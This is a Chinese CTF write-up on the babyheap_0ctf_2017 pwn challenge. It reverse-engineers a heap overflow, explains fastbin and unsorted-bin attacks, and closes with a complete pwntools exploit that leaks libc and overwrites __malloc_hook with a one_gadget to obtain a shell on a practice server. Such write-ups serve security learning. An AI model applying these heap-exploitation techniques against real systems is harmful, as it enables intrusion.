PWN刷题笔记——babyheap_0ctf_2017

0x00写在前面

只能说,👴大一上的C语言没学好。

真要是学好了,不可能到现在👴才学懂。

👴果然是一条纯纯的懒狗😅。

0x01逆向分析

显然,程序有四个功能:

  • Allocate:分配内存大小并给出 index
  • Fill:输入 index ,并分配内存进行内容写入操作
  • Free:输入 index ,释放相应的内存空间
  • Dump:输入 index ,打印内容

Allocate函数

  • 分配的大小不能超过 4096 字节
  • *(24LL * i + a1):置 1 表示 chunk 已经创建
  • *(a1 + 24LL * i + 8):存储 chunk 的大小
  • *(a1 + 24LL * i + 16):存储 chunk 的地址

Fill函数

  • 先判断对应位是否为 1 ,即 chunk 是否存在
  • 如果存在把输入的内容写入 *(24LL * v2 + a1 + 16) 对应的地址中。
  • 同时这里没有对 v3 的大小做限制,存在堆溢出

Free函数

  • 先判断对应位是否为 1 ,即 chunk 是否存在
  • 如果存在
    • 把对应位 *(24LL * v2 + a1) 置 0 ,表示 chunk 销毁
    • 记录 chunk 大小的 *(24LL * v2 + a1 + 8) 置 0
    • 释放指针 *(24LL * v2 + a1 + 16) 对应的内存,即输入内容的那部分

Dump函数

  • 先判断对应位是否为 1 ,即 chunk 是否存在
  • 如果存在,打印长度为 *(24LL * v2 + a1 + 8) 存储字节数内容指针 *(24LL * v2 + a1 + 16) 指向的内容

0x02Fastbin Attack

fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是:

  • 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
  • 漏洞发生于 fastbin 类型的 chunk 中

如果细分的话,可以做如下的分类:

  • Fastbin Double Free
  • House of Spirit
  • Alloc to Stack
  • Arbitrary Alloc

其中,前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击,后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击。

Fastbin Double Free

即利用double free漏洞构造chunk如下图所示

https://tva1.sinaimg.cn/large/007S8ZIlly1geqsb6zxf9j31080u0mzp.jpg

我们首先申请回chunk1然后修改其fd值指向一个fake_chunk,这里的chunk要保证size域合法,我们再次申请3次同样的chunk,就会依次拿到chunk2,chunk1,fake_chunk。我们只要在关键位置伪造fake_chunk就可以了。例如在malloc_hook左右伪造fake_chunk,然后修改malloc_hook的值为one_gadget就可以在调用malloc时get_shell。

0x03Unsorted Bin Attack

何时使用:当释放较小或较大的chunk的时候,如果系统没有将它们添加到对应的bins中,系统就将这些chunk添加到unsorted bin中。
目的:这主要是为了让“glibc malloc机制”能够有第二次机会重新利用最近释放的chunk(第一次机会就是fast bin机制)。利用unsorted bin,可以加快内存的分配和释放操作,因为整个操作都不再需要花费额外的时间去查找合适的bin了。
Unsorted bin的特性如下:

unsorted bin的个数: 1个。
unsorted bin是一个由free chunks组成的循环双链表。
在unsorted bin中,对chunk的大小并没有限制,任何大小的chunk都可以归属到unsorted bin中。
unsortedbin采用的遍历顺序是FIFO。

如果我们可以把正确的 fd 指针 leak 出来,就可以获得一个与 main_arena 有固定偏移的地址,这个偏移可以通过调试得出。而main_arena 是一个 struct malloc_state 类型的全局变量,是 ptmalloc 管理主分配区的唯一实例。说到全局变量,立马可以想到他会被分配在 .data 或者 .bss 等段上,那么如果我们有进程所使用的 libc.so 文件的话,我们就可以获得 main_arenalibc 基地址的偏移,实现对 ASLR 的绕过。

比较巧合的是,main_arena__malloc_hook 的地址差是 0x10,而大多数的 libc 都可以直接查出 __malloc_hook 的地址,这样可以大幅减小工作量。以 pwntools 为例

main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10

这样就可以获得 main_arena 与基地址的偏移了。

0x04本题思路

泄露libc地址的思路是,当只有一个unsorted bin时,该chunk的fd和bk均指向main_arena+0x58,而同一个libc中main_arena的偏移是固定的,因此可以计算获得libc地址

首先free 2个fast bin,第二个fast bin的fd会指向第一个fast bin,通过堆溢出修改fd指向unsorted bin、修改unsorted bin的size,再allocate 2个fast bin,第二个fast bin会和unsorted bin重叠,此时通过堆溢出修改unsorted bin的size并free,就可以从第二个fast bin中dump出unsorted bin的fd

拿到libc地址后可以考虑通过fast bin attack写malloc_hook,先allocate并free将unsorted bin转成fast bin,然后通过fill第二个fast bin写fd指向malloc_hook附近的地址,再allocate 2个fast bin,新的第二个fast bin会位于malloc_hook附近,利用fill将malloc_hook改为one_gadget,下次allocate时就能拿到shell

在malloc_hook附近找伪chunk时,可以注意到0x7f满足大小为0x60、0x68的fast bin,可以通过不对齐内存,利用0x7f和7个0x00拼凑出一个64位整型来作为伪chunk的size

0x05exp

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

rl=lambda :io.recvline()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

def add(size):
    sla('Command: ','1')
    sla('Size: ',str(size))

def fill(index,content):
    sla('Command: ','2')
    sla('Index: ',str(index))
    sla('Size: ',str(len(content)))
    sla('Content: ',content)

def free(index):
    sla('Command: ','3')
    sla('Index: ',str(index))

def dump(index):
    sla('Command: ','4')
    sla('Index: ',str(index))

io=remote('node4.buuoj.cn',28839)

add(0x20)
add(0x20)
add(0x20)
add(0x20)
add(0x100)
free(1)
free(2)
fill(0,p64(0)*5+p64(0x31)+p64(0)*5+p64(0x31)+p8(0xc0))
fill(3,p64(0)*5+p64(0x31))
add(0x20)
add(0x20)
fill(3,p64(0)*5+p64(0x111))
add(0x20)
free(4)
dump(2)
rl()
libc_base=u64(rn(8))-(0x3c4b20+0x58)
add(0x60)
free(4)
fill(2,p64(libc_base+0x3c4b10-0x23))
add(0x60)
add(0x60)
fill(6,p64(0)*2+p8(0)*3+p64(libc_base+0x4526a))
add(0x20)

io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇